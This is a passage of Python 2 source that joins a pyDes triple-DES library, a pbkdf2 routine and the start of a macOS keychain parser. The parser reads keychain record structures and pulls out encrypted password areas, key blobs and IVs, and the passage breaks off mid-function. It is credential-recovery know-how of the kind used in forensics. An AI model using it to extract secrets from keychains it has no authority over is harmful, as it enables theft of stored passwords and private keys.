des.DECRYPT: processed_block = map(lambda x, y: x ^ y, processed_block, iv) #j = 0 #while j < len(processed_block): # processed_block[j] = processed_block[j] ^ iv[j] # j += 1 iv = block else: iv = processed_block else: processed_block = self.__des_crypt(block, crypt_type) # Add the resulting crypted block to our list #d = self.__BitList_to_String(processed_block) #result.append(d) result.append(self.__BitList_to_String(processed_block)) #dict[data[i:i+8]] = d i += 8 # print "Lines: %d, cached: %d" % (lines, cached) # Remove the padding from the last block if crypt_type == des.DECRYPT and self.getPadding(): #print "Removing decrypt pad" s = result[-1] while s[-1] == self.getPadding(): s = s[:-1] result[-1] = s # Return the full crypted string return ''.join(result) def encrypt(self, data, pad=''): '''encrypt(data, [pad]) -> string data : String to be encrypted pad : Optional argument for encryption padding. Must only be one byte The data must be a multiple of 8 bytes and will be encrypted with the already specified key. Data does not have to be a multiple of 8 bytes if the padding character is supplied, the data will then be padded to a multiple of 8 bytes with this pad character. ''' self.__padding = pad return self.crypt(data, des.ENCRYPT) def decrypt(self, data, pad=''): '''decrypt(data, [pad]) -> string data : String to be encrypted pad : Optional argument for decryption padding. Must only be one byte The data must be a multiple of 8 bytes and will be decrypted with the already specified key. If the optional padding character is supplied, then the un-encypted data will have the padding characters removed from the end of the string. This pad removal only occurs on the last 8 bytes of the data (last data block). ''' self.__padding = pad return self.crypt(data, des.DECRYPT) ############################################################################# # Triple DES # ############################################################################# class triple_des: '''Triple DES encryption/decrytpion class This algorithm uses the DES-EDE3 (when a 24 byte key is supplied) or the DES-EDE2 (when a 16 byte key is supplied) encryption methods. Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes. pyDes.des(key, [mode], [IV]) key -> The encryption key string, must be either 16 or 24 bytes long mode -> Optional argument for encryption type, can be either pyDes.ECB (Electronic Code Book), pyDes.CBC (Cypher Block Chaining) IV -> Optional string argument, must be supplied if using CBC mode. Must be 8 bytes in length. ''' def __init__(self, key, mode=ECB, IV=None): self.block_size = 8 self.setMode(mode) self.__padding = '' self.__iv = IV self.setKey(key) def getKey(self): '''getKey() -> string''' return self.__key def setKey(self, key): '''Will set the crypting key for this object. Either 16 or 24 bytes long''' self.key_size = 24 # Use DES-EDE3 mode if len(key) != self.key_size: if len(key) == 16: # Use DES-EDE2 mode self.key_size = 16 else: raise ValueError("Invalid triple DES key size. Key must be either 16 or 24 bytes long") if self.getMode() == CBC and (not self.getIV() or len(self.getIV()) != self.block_size): raise ValueError("Invalid IV, must be 8 bytes in length") ## TODO: Check this # modes get handled later, since CBC goes on top of the triple-des self.__key1 = des(key[:8]) self.__key2 = des(key[8:16]) if self.key_size == 16: self.__key3 = self.__key1 else: self.__key3 = des(key[16:]) self.__key = key def getMode(self): '''getMode() -> pyDes.ECB or pyDes.CBC''' return self.__mode def setMode(self, mode): '''Sets the type of crypting mode, pyDes.ECB or pyDes.CBC''' self.__mode = mode def getIV(self): '''getIV() -> string''' return self.__iv def setIV(self, IV): '''Will set the Initial Value, used in conjunction with CBC mode''' self.__iv = IV def xorstr(self, x, y): '''Returns the bitwise xor of the bytes in two strings''' if len(x) != len(y): raise "string lengths differ %d %d" % (len(x), len(y)) ret = '' for i in range(len(x)): ret += chr(ord(x[i]) ^ ord(y[i])) return ret def encrypt(self, data, pad=''): '''encrypt(data, [pad]) -> string data : String to be encrypted pad : Optional argument for encryption padding. Must only be one byte The data must be a multiple of 8 bytes and will be encrypted with the already specified key. Data does not have to be a multiple of 8 bytes if the padding character is supplied, the data will then be padded to a multiple of 8 bytes with this pad character. ''' if self.getMode() == ECB: # simple data = self.__key1.encrypt(data, pad) data = self.__key2.decrypt(data) return self.__key3.encrypt(data) if self.getMode() == CBC: raise "This code hasn't been tested yet" if len(data) % self.block_size != 0: raise "CBC mode needs datalen to be a multiple of blocksize (ignoring padding for now)" # simple lastblock = self.getIV() retdata = '' for i in range(0, len(data), self.block_size): thisblock = data[i:i + self.block_size] # the XOR for CBC thisblock = self.xorstr(lastblock, thisblock) thisblock = self.__key1.encrypt(thisblock) thisblock = self.__key2.decrypt(thisblock) lastblock = self.__key3.encrypt(thisblock) retdata += lastblock return retdata raise "Not reached" def decrypt(self, data, pad=''): '''decrypt(data, [pad]) -> string data : String to be encrypted pad : Optional argument for decryption padding. Must only be one byte The data must be a multiple of 8 bytes and will be decrypted with the already specified key. If the optional padding character is supplied, then the un-encypted data will have the padding characters removed from the end of the string. This pad removal only occurs on the last 8 bytes of the data (last data block). ''' if self.getMode() == ECB: # simple data = self.__key3.decrypt(data) data = self.__key2.encrypt(data) return self.__key1.decrypt(data, pad) if self.getMode() == CBC: if len(data) % self.block_size != 0: raise "Can only decrypt multiples of blocksize" lastblock = self.getIV() retdata = '' for i in range(0, len(data), self.block_size): # can I arrange this better? probably... cipherchunk = data[i:i + self.block_size] thisblock = self.__key3.decrypt(cipherchunk) thisblock = self.__key2.encrypt(thisblock) thisblock = self.__key1.decrypt(thisblock) retdata += self.xorstr(lastblock, thisblock) lastblock = cipherchunk return retdata raise "Not reached" ############################################################################# # Examples # ############################################################################# def example_triple_des(): from time import time # Utility module from binascii import unhexlify as unhex # example shows triple-des encryption using the des class print "Example of triple DES encryption in default ECB mode (DES-EDE3)\n" print "Triple des using the des class (3 times)" t = time() k1 = des(unhex("133457799BBCDFF1")) k2 = des(unhex("1122334455667788")) k3 = des(unhex("77661100DD223311")) d = "Triple DES test string, to be encrypted and decrypted..." print "Key1: %s" % k1.getKey() print "Key2: %s" % k2.getKey() print "Key3: %s" % k3.getKey() print "Data: %s" % d e1 = k1.encrypt(d) e2 = k2.decrypt(e1) e3 = k3.encrypt(e2) print "Encrypted: " + e3 d3 = k3.decrypt(e3) d2 = k2.encrypt(d3) d1 = k1.decrypt(d2) print "Decrypted: " + d1 print "DES time taken: %f (%d crypt operations)" % (time() - t, 6 * (len(d) / 8)) print "" # Example below uses the triple-des class to achieve the same as above print "Now using triple des class" t = time() t1 = triple_des(unhex("133457799BBCDFF1112233445566778877661100DD223311")) print "Key: %s" % t1.getKey() print "Data: %s" % d td1 = t1.encrypt(d) print "Encrypted: " + td1 td2 = t1.decrypt(td1) print "Decrypted: " + td2 print "Triple DES time taken: %f (%d crypt operations)" % (time() - t, 6 * (len(d) / 8)) def example_des(): from time import time # example of DES encrypting in CBC mode with the IV of "\0\0\0\0\0\0\0\0" print "Example of DES encryption using CBC mode\n" t = time() k = des("DESCRYPT", CBC, "\0\0\0\0\0\0\0\0") data = "DES encryption algorithm" print "Key : " + k.getKey() print "Data : " + data d = k.encrypt(data) print "Encrypted: " + d d = k.decrypt(d) print "Decrypted: " + d print "DES time taken: %f (6 crypt operations)" % (time() - t) print "" def __test__(): example_des() example_triple_des() def __fulltest__(): # This should not produce any unexpected errors or exceptions from binascii import unhexlify as unhex from binascii import hexlify as dohex __test__() print "" k = des("\0\0\0\0\0\0\0\0", CBC, "\0\0\0\0\0\0\0\0") d = k.encrypt("DES encryption algorithm") if k.decrypt(d) != "DES encryption algorithm": print "Test 1 Error: Unencypted data block does not match start data" k = des("\0\0\0\0\0\0\0\0", CBC, "\0\0\0\0\0\0\0\0") d = k.encrypt("Default string of text", '*') if k.decrypt(d, "*") != "Default string of text": print "Test 2 Error: Unencypted data block does not match start data" k = des("\r\n\tABC\r\n") d = k.encrypt("String to Pad", '*') if k.decrypt(d) != "String to Pad***": print "'%s'" % k.decrypt(d) print "Test 3 Error: Unencypted data block does not match start data" k = des("\r\n\tABC\r\n") d = k.encrypt(unhex("000102030405060708FF8FDCB04080"), unhex("44")) if k.decrypt(d, unhex("44")) != unhex("000102030405060708FF8FDCB04080"): print "Test 4a Error: Unencypted data block does not match start data" if k.decrypt(d) != unhex("000102030405060708FF8FDCB0408044"): print "Test 4b Error: Unencypted data block does not match start data" k = triple_des("MyDesKey\r\n\tABC\r\n0987*543") d = k.encrypt(unhex( "000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080")) if k.decrypt(d) != unhex( "000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080"): print "Test 5 Error: Unencypted data block does not match start data" k = triple_des("\r\n\tABC\r\n0987*543") d = k.encrypt(unhex( "000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080")) if k.decrypt(d) != unhex( "000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080"): print "Test 6 Error: Unencypted data block does not match start data" def __filetest__(): from time import time f = open("pyDes.py", "rb+") d = f.read() f.close() t = time() k = des("MyDESKey") d = k.encrypt(d, " ") f = open("pyDes.py.enc", "wb+") f.write(d) f.close() d = k.decrypt(d, " ") f = open("pyDes.py.dec", "wb+") f.write(d) f.close() print "DES file test time: %f" % (time() - t) def __profile__(): import profile profile.run('__fulltest__()') #profile.run('__filetest__()') #!/usr/bin/env python # A simple implementation of pbkdf2 using stock python modules. See RFC2898 # for details. Basically, it derives a key from a password and salt. # (c) 2004 Matt Johnston # This code may be freely used and modified for any purpose. import sha import hmac from binascii import hexlify, unhexlify from struct import pack BLOCKLEN = 20 # this is what you want to call. def pbkdf2(password, salt, itercount, keylen, hashfn=sha): # l - number of output blocks to produce l = keylen / BLOCKLEN if keylen % BLOCKLEN != 0: l += 1 h = hmac.new(password, None, hashfn) T = "" for i in range(1, l + 1): T += pbkdf2_F(h, salt, itercount, i) return T[: -( BLOCKLEN - keylen % BLOCKLEN)] def xorstr(a, b): if len(a) != len(b): raise "xorstr(): lengths differ" ret = '' for i in range(len(a)): ret += chr(ord(a[i]) ^ ord(b[i])) return ret def prf(h, data): hm = h.copy() hm.update(data) return hm.digest() # Helper as per the spec. h is a hmac which has been created seeded with the # password, it will be copy()ed and not modified. def pbkdf2_F(h, salt, itercount, blocknum): U = prf(h, salt + pack('>i', blocknum)) T = U for i in range(2, itercount + 1): U = prf(h, U) T = xorstr(T, U) return T def test(): # test vector from rfc3211 password = 'password' salt = unhexlify('1234567878563412') password = 'All n-entities must communicate with other n-entities via n-1 entiteeheehees' itercount = 500 keylen = 16 ret = pbkdf2(password, salt, itercount, keylen) print "key: %s" % hexlify(ret) print "expected: 6A 89 70 BF 68 C9 2C AE A8 4A 8D F2 85 10 85 86" #!/usr/bin/env python # Author : n0fate # E-Mail rapfer@gmail.com, n0fate@n0fate.com # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or (at # your option) any later version. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # import argparse import os from sys import exit import struct from binascii import unhexlify import datetime #from pbkdf2 import pbkdf2 #from pyDes import triple_des, CBC from ctypes import * #from Schema import * def hexdump(src, length=16): FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or '.' for x in range(256)]) lines = [] for c in xrange(0, len(src), length): chars = src[c:c+length] hex = ' '.join(["%02x" % ord(x) for x in chars]) printable = ''.join(["%s" % ((ord(x) <= 127 and FILTER[ord(x)]) or '.') for x in chars]) lines.append("%04x %-*s %s\n" % (c, length*3, hex, printable)) print ''.join(lines) ATOM_SIZE = 4 SIZEOFKEYCHAINTIME = 16 KEYCHAIN_SIGNATURE = "kych" DBBLOB_SIGNATURE = unhexlify('fade0711') BLOCKSIZE = 8 KEYLEN = 24 class _APPL_DB_HEADER(BigEndianStructure): _fields_ = [ ("Signature", c_char*4), ("Version", c_int), ("HeaderSize", c_int), ("SchemaOffset", c_int), ("AuthOffset", c_int) ] class _APPL_DB_SCHEMA(BigEndianStructure): _fields_ = [ ("SchemaSize", c_int), ("TableCount", c_int) ] class _KEY_BLOB_REC_HEADER(BigEndianStructure): _fields_ = [ ("RecordSize", c_uint), ("RecordCount", c_uint), ("Dummy", c_char*0x7C), ] class _KEY_BLOB_RECORD(BigEndianStructure): _fields_ = [ ("Signature", c_uint), ("Version", c_uint), ("CipherOffset", c_uint), ("TotalLength", c_uint) ] class _GENERIC_PW_HEADER(BigEndianStructure): _fields_ = [ ("RecordSize", c_uint), ("RecordNumber", c_uint), ("Unknown2", c_uint), ("Unknown3", c_uint), ("SSGPArea", c_uint), ("Unknown5", c_uint), ("CreationDate", c_uint), ("ModDate", c_uint), ("Description", c_uint), ("Comment", c_uint), ("Creator", c_uint), ("Type", c_uint), ("ScriptCode", c_uint), ("PrintName", c_uint), ("Alias", c_uint), ("Invisible", c_uint), ("Negative", c_uint), ("CustomIcon", c_uint), ("Protected", c_uint), ("Account", c_uint), ("Service", c_uint), ("Generic", c_uint) ] class _APPLE_SHARE_HEADER(BigEndianStructure): _fields_ = [ ("RecordSize", c_uint), ("RecordNumber", c_uint), ("Unknown2", c_uint), ("Unknown3", c_uint), ("SSGPArea", c_uint), ("Unknown5", c_uint), ("CreationDate", c_uint), ("ModDate", c_uint), ("Description", c_uint), ("Comment", c_uint), ("Creator", c_uint), ("Type", c_uint), ("ScriptCode", c_uint), ("PrintName", c_uint), ("Alias", c_uint), ("Invisible", c_uint), ("Negative", c_uint), ("CustomIcon", c_uint), ("Protected", c_uint), ("Account", c_uint), ("Volume", c_uint), ("Server", c_uint), ("Protocol", c_uint), ("AuthType", c_uint), ("Address", c_uint), ("Signature", c_uint) ] class _INTERNET_PW_HEADER(BigEndianStructure): _fields_ = [ ("RecordSize", c_uint), ("RecordNumber", c_uint), ("Unknown2", c_uint), ("Unknown3", c_uint), ("SSGPArea", c_uint), ("Unknown5", c_uint), ("CreationDate", c_uint), ("ModDate", c_uint), ("Description", c_uint), ("Comment", c_uint), ("Creator", c_uint), ("Type", c_uint), ("ScriptCode", c_uint), ("PrintName", c_uint), ("Alias", c_uint), ("Invisible", c_uint), ("Negative", c_uint), ("CustomIcon", c_uint), ("Protected", c_uint), ("Account", c_uint), ("SecurityDomain", c_uint), ("Server", c_uint), ("Protocol", c_uint), ("AuthType", c_uint), ("Port", c_uint), ("Path", c_uint) ] class _X509_CERT_HEADER(BigEndianStructure): _fields_ = [ ("RecordSize", c_uint), ("RecordNumber", c_uint), ("Unknown1", c_uint), ("Unknown2", c_uint), ("CertSize", c_uint), ("Unknown3", c_uint), ("CertType", c_uint), ("CertEncoding", c_uint), ("PrintName", c_uint), ("Alias", c_uint), ("Subject", c_uint), ("Issuer", c_uint), ("SerialNumber", c_uint), ("SubjectKeyIdentifier", c_uint), ("PublicKeyHash", c_uint) ] # http://www.opensource.apple.com/source/Security/Security-55179.1/include/security_cdsa_utilities/KeySchema.h # http://www.opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-36940/lib/SecKey.h class _SECKEY_HEADER(BigEndianStructure): _fields_ = [ ("RecordSize", c_uint), ("RecordNumber", c_uint), ("Unknown1", c_uint), ("Unknown2", c_uint), ("BlobSize", c_uint), ("Unknown3", c_uint), ("KeyClass", c_uint), ("PrintName", c_uint), ("Alias", c_uint), ("Permanent", c_uint), ("Private", c_uint), ("Modifiable", c_uint), ("Label", c_uint), ("ApplicationTag", c_uint), ("KeyCreator", c_uint), ("KeyType", c_uint), ("KeySizeInBits", c_uint), ("EffectiveKeySize", c_uint), ("StartDate", c_uint), ("EndDate", c_uint), ("Sensitive", c_uint), ("AlwaysSensitive", c_uint), ("Extractable", c_uint), ("NeverExtractable", c_uint), ("Encrypt", c_uint), ("Decrypt", c_uint), ("Derive", c_uint), ("Sign", c_uint), ("Verify", c_uint), ("SignRecover", c_uint), ("VerifyRecover", c_uint), ("Wrap", c_uint), ("Wrap", c_uint) ] class _TABLE_HEADER(BigEndianStructure): _fields_ = [ ("TableSize", c_uint), ("TableId", c_uint), ("RecordCount", c_uint), ("Records", c_uint), ("IndexesOffset", c_uint), ("FreeListHead", c_uint), ("RecordNumbersCount", c_uint), #("RecordNumbers", c_uint) ] class _SCHEMA_INFO_RECORD(BigEndianStructure): _fields_ = [ ("RecordSize", c_uint), ("RecordNumber", c_uint), ("Unknown2", c_uint), ("Unknown3", c_uint), ("Unknown4", c_uint), ("Unknown5", c_uint), ("Unknown6", c_uint), ("RecordType", c_uint), ("DataSize", c_uint), ("Data", c_uint) ] class _ENCRYPTED_BLOB_METADATA(BigEndianStructure): _fields_ = [ ("MagicNumber", c_uint), ("Unknown", c_uint), ("StartOffset", c_uint), ("EndOffset", c_uint) ] def _memcpy(buf, fmt): return cast(c_char_p(buf), POINTER(fmt)).contents class KeyChain(): def __init__(self, filepath): self.filepath = filepath self.fbuf = '' def open(self): try: fhandle = open(self.filepath, 'rb') except: return False self.fbuf = fhandle.read() if len(self.fbuf): fhandle.close() return True return False def checkValidKeychain(self): if self.fbuf[0:4] != KEYCHAIN_SIGNATURE: return False return True ## get apple DB Header def getHeader(self): header = _memcpy(self.fbuf[:sizeof(_APPL_DB_HEADER)], _APPL_DB_HEADER) return header def getSchemaInfo(self, offset): table_list = [] #schema_info = struct.unpack(APPL_DB_SCHEMA, self.fbuf[offset:offset + APPL_DB_SCHEMA_SIZE]) _schemainfo = _memcpy(self.fbuf[offset:offset+sizeof(_APPL_DB_SCHEMA)], _APPL_DB_SCHEMA) for i in xrange(_schemainfo.TableCount): BASE_ADDR = sizeof(_APPL_DB_HEADER) + sizeof(_APPL_DB_SCHEMA) table_list.append( struct.unpack('>I', self.fbuf[BASE_ADDR + (ATOM_SIZE * i):BASE_ADDR + (ATOM_SIZE * i) + ATOM_SIZE])[0]) return _schemainfo, table_list def getTable(self, offset): record_list = [] BASE_ADDR = sizeof(_APPL_DB_HEADER) + offset TableMetaData = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR+sizeof(_TABLE_HEADER)], _TABLE_HEADER) RECORD_OFFSET_BASE = BASE_ADDR + sizeof(_TABLE_HEADER) record_count = 0 offset = 0 while TableMetaData.RecordCount != record_count: RecordOffset = struct.unpack('>I', self.fbuf[ RECORD_OFFSET_BASE + (ATOM_SIZE * offset):RECORD_OFFSET_BASE + ( ATOM_SIZE * offset) + ATOM_SIZE])[0] # if len(record_list) >= 1: # if record_list[len(record_list)-1] >= RecordOffset: # continue if (RecordOffset != 0x00) and (RecordOffset%4 == 0): record_list.append(RecordOffset) #print ' [-] Record Offset: 0x%.8x'%RecordOffset record_count += 1 offset +=1 return TableMetaData, record_list def getTablenametoList(self, recordList, tableList): TableDic = {} for count in xrange(len(recordList)): tableMeta, GenericList = self.getTable(tableList[count]) TableDic[tableMeta.TableId] = count # extract valid table list return len(recordList), TableDic def getSchemaInfoRecord(self, base_addr, offset): record_meta = [] record = [] BASE_ADDR = sizeof(_APPL_DB_HEADER) + base_addr + offset #print BASE_ADDR RecordMetadata = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR+sizeof(_SCHEMA_INFO_RECORD)], _SCHEMA_INFO_RECORD) data = self.fbuf[BASE_ADDR + 40:BASE_ADDR + 40 + RecordMetadata.DataSize] for record_element in RecordMetadata: record.append(record_element) record.append(data) return record def getKeyblobRecord(self, base_addr, offset): BASE_ADDR = sizeof(_APPL_DB_HEADER) + base_addr + offset KeyBlobRecHeader = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR+sizeof(_KEY_BLOB_REC_HEADER)], _KEY_BLOB_REC_HEADER) # record_meta[0] => record size record = self.fbuf[BASE_ADDR + sizeof(_KEY_BLOB_REC_HEADER):BASE_ADDR + KeyBlobRecHeader.RecordSize] # password data area KeyBlobRecord = _memcpy(record[:sizeof(_KEY_BLOB_RECORD)], _KEY_BLOB_RECORD) if SECURE_STORAGE_GROUP != str(record[KeyBlobRecord.TotalLength + 8:KeyBlobRecord.TotalLength + 8 + 4]): #print 'not ssgp %s'%str(record[KeyBlobRecord.TotalLength + 8:KeyBlobRecord.TotalLength + 8 + 4]) #exit() return '', '', '', 1 CipherLen = KeyBlobRecord.TotalLength - KeyBlobRecord.CipherOffset if CipherLen % BLOCKSIZE != 0: print "Bad ciphertext len" iv = record[16:24] ciphertext = record[KeyBlobRecord.CipherOffset:KeyBlobRecord.TotalLength] # match data, keyblob_ciphertext, Initial Vector, success return record[KeyBlobRecord.TotalLength + 8:KeyBlobRecord.TotalLength + 8 + 20], ciphertext, iv, 0 def getGenericPWRecord(self, base_addr, offset): record = [] BASE_ADDR = sizeof(_APPL_DB_HEADER) + base_addr + offset RecordMeta = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR+sizeof(_GENERIC_PW_HEADER)], _GENERIC_PW_HEADER) Buffer = self.fbuf[BASE_ADDR + sizeof(_GENERIC_PW_HEADER):BASE_ADDR + RecordMeta.RecordSize] # record_meta[0] => record size if RecordMeta.SSGPArea != 0: record.append(Buffer[:RecordMeta.SSGPArea]) else: record.append('') record.append(self.getKeychainTime(BASE_ADDR, RecordMeta.CreationDate & 0xFFFFFFFE)) record.append(self.getKeychainTime(BASE_ADDR, RecordMeta.ModDate & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.Description & 0xFFFFFFFE)) record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Creator & 0xFFFFFFFE)) record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Type & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.PrintName & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.Alias & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.Account & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.Service & 0xFFFFFFFE)) return record def getInternetPWRecord(self, base_addr, offset): record = [] BASE_ADDR = sizeof(_APPL_DB_HEADER) + base_addr + offset RecordMeta = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR+sizeof(_INTERNET_PW_HEADER)], _INTERNET_PW_HEADER) Buffer = self.fbuf[BASE_ADDR + sizeof(_INTERNET_PW_HEADER):BASE_ADDR + RecordMeta.RecordSize] if RecordMeta.SSGPArea != 0: record.append(Buffer[:RecordMeta.SSGPArea]) else: record.append('') record.append(self.getKeychainTime(BASE_ADDR, RecordMeta.CreationDate & 0xFFFFFFFE)) record.append(self.getKeychainTime(BASE_ADDR, RecordMeta.ModDate & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.Description & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.Comment & 0xFFFFFFFE)) record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Creator & 0xFFFFFFFE)) record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Type & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.PrintName & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.Alias & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.Protected & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.Account & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.SecurityDomain & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.Server & 0xFFFFFFFE)) record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Protocol & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.AuthType & 0xFFFFFFFE)) record.append(self.getInt(BASE_ADDR, RecordMeta.Port & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.Path & 0xFFFFFFFE)) return record def getx509Record(self, base_addr, offset): record = [] BASE_ADDR = sizeof(_APPL_DB_HEADER) + base_addr + offset RecordMeta = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR+sizeof(_X509_CERT_HEADER)], _X509_CERT_HEADER) x509Certificate = self.fbuf[BASE_ADDR + sizeof(_X509_CERT_HEADER):BASE_ADDR + sizeof(_X509_CERT_HEADER) + RecordMeta.CertSize] record.append(self.getInt(BASE_ADDR, RecordMeta.CertType & 0xFFFFFFFE)) # Cert Type record.append(self.getInt(BASE_ADDR, RecordMeta.CertEncoding & 0xFFFFFFFE)) # Cert Encoding record.append(self.getLV(BASE_ADDR, RecordMeta.PrintName & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.Alias & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.Subject & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.Issuer & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.SerialNumber & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.SubjectKeyIdentifier & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.PublicKeyHash & 0xFFFFFFFE)) record.append(x509Certificate) return record def getKeyRecord(self, base_addr, offset): ## PUBLIC and PRIVATE KEY record = [] BASE_ADDR = sizeof(_APPL_DB_HEADER) + base_addr + offset RecordMeta = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR+sizeof(_SECKEY_HEADER)], _SECKEY_HEADER) KeyBlob = self.fbuf[BASE_ADDR + sizeof(_SECKEY_HEADER):BASE_ADDR + sizeof(_SECKEY_HEADER) + RecordMeta.BlobSize] record.append(self.getLV(BASE_ADDR, RecordMeta.PrintName & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.Label & 0xFFFFFFFE)) record.append(self.getInt(BASE_ADDR, RecordMeta.KeyClass & 0xFFFFFFFE)) record.append(self.getInt(BASE_ADDR, RecordMeta.Private & 0xFFFFFFFE)) record.append(self.getInt(BASE_ADDR, RecordMeta.KeyType & 0xFFFFFFFE)) record.append(self.getInt(BASE_ADDR, RecordMeta.KeySizeInBits & 0xFFFFFFFE)) record.append(self.getInt(BASE_ADDR, RecordMeta.EffectiveKeySize & 0xFFFFFFFE)) record.append(self.getInt(BASE_ADDR, RecordMeta.Extractable & 0xFFFFFFFE)) record.append(str(self.getLV(BASE_ADDR, RecordMeta.KeyCreator & 0xFFFFFFFE)).split('\x00')[0]) IV, Key = self.getEncryptedDatainBlob(KeyBlob) record.append(IV) record.append(Key) return record def getEncryptedDatainBlob(self, BlobBuf): magicNumber = 0xFADE0711 IVSize = 8 EncryptedBlobMeta = _memcpy(BlobBuf[:sizeof(_ENCRYPTED_BLOB_METADATA)], _ENCRYPTED_BLOB_METADATA) if EncryptedBlobMeta.MagicNumber != magicNumber: return '', '' KeyData = BlobBuf[EncryptedBlobMeta.StartOffset:EncryptedBlobMeta.EndOffset] IV = BlobBuf[sizeof(_ENCRYPTED_BLOB_METADATA):sizeof(_ENCRYPTED_BLOB_METADATA)+IVSize] return IV, KeyData # IV, Encrypted Data def getKeychainTime(self, BASE_ADDR, pCol): if pCol <= 0: return '' else: data = str(struct.unpack('>16s', self.fbuf[BASE_ADDR + pCol:BASE_ADDR + pCol + struct.calcsize('>16s')])[0]) return datetime.datetime.strptime(data.strip('\x00'), '%Y%m%d%H%M%SZ') def getInt(self, BASE_ADDR, pCol): if pCol <= 0: return 0 else: return struct.unpack('>I', self.fbuf[BASE_ADDR + pCol:BASE_ADDR + pCol + 4])[0] def getFourCharCode(self, BASE_ADDR, pCol): if pCol <= 0: return '' else: return struct.unpack('>4s', self.fbuf[BASE_ADDR + pCol:BASE_ADDR + pCol + 4])[0] def getLV(self, BASE_ADDR, pCol): if pCol <= 0: return '' str_length = struct.unpack('>I', self.fbuf[BASE_ADDR + pCol:BASE_ADDR + pCol + 4])[0] # 4byte arrangement if (str_length % 4) == 0: real_str_len = (str_length / 4) * 4 else: real_str_len = ((str_length / 4) + 1) * 4 unpack_value = '>' + str(real_str_len) + 's' try: data = struct.unpack(unpack_value, self.fbuf[BASE_ADDR + pCol + 4:BASE_ADDR + pCol + 4 + real_str_len])[0] except struct.error: print 'Length is too long : %d'%real_str_len return '' return data def getAppleshareRecord(self, base_addr, offset): record = [] BASE_ADDR = sizeof(_APPL_DB_HEADER) + base_addr + offset RecordMeta = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR+sizeof(_INTERNET_PW_HEADER)], _INTERNET_PW_HEADER) Buffer = self.fbuf[BASE_ADDR + sizeof(_INTERNET_PW_HEADER):BASE_ADDR + RecordMeta.RecordSize] if RecordMeta.SSGPArea != 0: record.append(Buffer[:RecordMeta.SSGPArea]) else: record.append('') record.append(self.getKeychainTime(BASE_ADDR, RecordMeta.CreationDate & 0xFFFFFFFE)) record.append(self.getKeychainTime(BASE_ADDR, RecordMeta.ModDate & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.Description & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.Comment & 0xFFFFFFFE)) record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Creator & 0xFFFFFFFE)) record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Type & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.PrintName & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.Alias & 0xFFFFFFFE)) record.append(self.getLV(BASE_ADDR, RecordMeta.Protected & 0xFFFFFFFE)) 